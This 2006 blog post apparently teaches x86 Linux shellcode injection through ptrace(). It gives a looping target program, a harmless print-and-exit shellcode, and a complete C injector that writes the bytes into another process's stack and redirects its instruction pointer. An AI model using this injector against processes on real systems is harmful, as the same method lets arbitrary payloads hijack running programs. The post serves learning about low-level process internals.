in the name of zero

April 17, 2006

shellcode injection via ptrace()

Filed under: hermetic studies

the injection opcode isn’t really elegant or anything, but i found other articles quite difficult to follow at first because of the advanced styles they are using. the ones i’ve seen involved forking, or ‘call instruction mimicry’, or ‘original register restoration’ or a combination of all of them. i start again, with the simple ‘hello world’. no shell-spawning or stuff like that.

the rundown basically consists of :
1) attaching to a process and read its registers (esp and eip)
2) allocate space in the stack segment for the shellcode
3) point eip to the start of the allocated space
4) give control back to the program. (in most cases, but not here. i simply exit())

first comes the test program i wanna trace. it’s just an infinite for loop that prints some text on the screen. my goal is to insert instructions that will make it print another string and quit.

#include <stdio.h>
#include <unistd.h>
	
int main(int argc, char **argv)
{
        int i = 0;
        for(;; i++) {
                printf("%d sheep%c jumping over the fence\n",
                        i, (i<2) ? : 's');
                sleep(2);
        }
        return 0;
}
i also made a simple shellcode that just prints a string and exits. this one is a little different though because i tried to verify a statement i made while i was still starting to learn shellcoding. i quote:
well, declaring a string is a forward declaration of bytes. and we can’t have any “meaningless” bytes in our executable space imho. by meaningless, i mean bytes that aren’t opcodes.
the thing is. you actually can! as long as you skip over them. a proof of concept of some sort. though kinda ugly and pointless to implement. the real purpose of the call ‘backwards’ is to provide a negative address offset to the near call instruction, so it wont have null bytes. (0xff as opposed to 0x00 which is null)

anyway, i’ve edited the former post i made to clarify this issue.

example shellcode

        global _start
section .text
_start
        jmp .midpayload
.payload
        pop ecx
        xor eax, eax
        xor ebx, ebx
        xor edx, edx
        jmp .endpayload
	
.midpayload
        call .payload
        db 'i love stephanie', 0xa
	
.endpayload
        mov al, 0x4
        mov bl, 0x1
        mov dl, 6
        int byte 0x80
	
        mov al, 0x1
        xor ebx, ebx
        int byte 0x80
and lastly, the program that does the tracing and injecting.
/* basic shellcode injector via ptrace()
 *
 * 04/17/06 stephanie
 */
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <stdio.h>
#include <stdlib.h>
	
#include <string.h>
	
/* actually, a size of 0x4 is already enough since i
 * just pop the first value i pushed (of size dword) inside my shellcode
 * before pushing another value at the stack.
 * see 'call' instructions. in shellcode listing */
#define TMP_STACK_SIZE  0x8
	
typedef struct user_regs_struct uregstruct;
static void attach(pid_t cpid);
static void put_into_child(pid_t, void *src, unsigned long dest, int len);
	
char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\x8d\x40\x04\x43\xb2\x12"
                "\xcd\x80\x31\xc0\x40\x43\xcd\x80\xe8\xe6\xff\xff\xff\x69\x20"
                "\x6c\x6f\x76\x65\x20\x73\x74\x65\x70\x68\x61\x6e\x69\x65\x21\x0a";
	
int main(int argc, char**argv)
{
        pid_t cpid;
        int shellcode_length;
        unsigned long base;
	
        uregstruct *ureg;
	
        if (argc < 2) {
                fprintf(stderr, "usage: %s <pid>\n", argv[0]);
                return 1;
        }
	
        cpid = atoi(argv[1]);
	
        /* attach to process */
        attach(cpid);
	
        /* structure to hold the child's register in the parent user space */
        ureg = (uregstruct *)malloc(sizeof(uregstruct));
	
        /* fill the struct we just malloc'ed */
        ptrace(PTRACE_GETREGS, cpid, NULL, ureg);
	
        /* allocate a stack friendly space for shellcode injection and tell
         * our child process about it. */
        shellcode_length = strlen(shellcode);
        base = ureg->esp - shellcode_length-TMP_STACK_SIZE;
        put_into_child(cpid, shellcode, base, shellcode_length);
	
        /* kernel subtracts two bytes in cs:eip after the
         * call to PTRACE_DETACH to restart the system call */
        ureg->eip = base+2;
	
        /* update cs:eip in the childs memory core */
        ptrace(PTRACE_SETREGS, cpid, NULL, ureg);
	
        /* detach from child */
        ptrace(PTRACE_DETACH, cpid, NULL, NULL);
	
        /* because we are responsible students of c */
        free(ureg);
        return 0;
}
void attach(pid_t cpid)
{
        ptrace(PTRACE_ATTACH, cpid, NULL, NULL);
        waitpid(cpid, NULL, WUNTRACED);
}
	
void put_into_child(pid_t cpid, void *src, unsigned long dest, int len)
{
        int i = 0;
        long word;
	
        long *ptr = src;
	
        while (i < len) {
                word = *ptr++;
                ptrace(PTRACE_POKETEXT, cpid, dest + i, word);
                i += 4;
        }
}

ok, as you prolly already noticed, injecting occured at shellcode_length+TMP_STACK_SIZE below the esp. the thing is, by using the call instruction, i implicitly also used the push instruction which pushes the instruction pointer into the stack and loads the instuction pointer with the address of the procedure name (argument to call instruction). so if we use instructions in our shellcode that utilizes the stack, we must also leave some space between our injected shellcode and the esp. it somehow resembles the illustration below.

top of memory

— text segment —

— injected shellcode (esp - shellcode_length - TMP_SIZE) —

— space for stack of shellcode (TMP_SIZE) —

— start of stack (of the real program) (esp) —

bottom of memory


i have yet to verify this also, and it really made my life miserable, whenever ptrace is called with PTRACE_DETACH, the kernel subtracts two bytes from the eip.hence the ureg->eip = base + 2 above.

Comments »

The URI to TrackBack this entry is: http://gnurbs.blogsome.com/2006/04/17/shellcode-injection-via-ptrace/trackback/

No comments yet.

RSS feed for comments on this post.

Leave a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>


Get free blog up and running in minutes with Blogsome | Theme designs available here